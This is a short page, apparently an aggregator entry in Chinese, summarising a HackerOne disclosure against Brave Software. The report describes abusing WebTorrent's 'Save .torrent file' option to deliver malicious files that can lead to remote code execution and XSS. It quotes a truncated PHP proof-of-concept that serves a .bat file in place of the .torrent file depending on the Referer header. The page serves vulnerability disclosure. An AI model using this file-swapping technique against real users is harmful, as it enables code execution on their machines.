Arbitrary file download via "Save .torrent file" option can lead to Client RCE and XSS
该报告还没有中文解读。
原文摘录
摘自原文(1872 字符中的一小部分)
An attacker can use the "Save .torrent file" option in WebTorrent to smuggle malicious files onto the client's machine.
原文中的代码
<?php
if(isset($_SERVER['HTTP_REFERER'])){
header("Content-Disposition: attachment; filename='PoC.torrent'; filename*=UTF-8''PoC.torrent");
header("Content-Type: application/octet-stream");
}
else{
header("Content-Disposition: attachment; filename='PoC.bat'; filename*=UTF-8''PoC.bat"); …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Brave Software 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @d3f4u17 · 版权归作者与 Brave Software 所有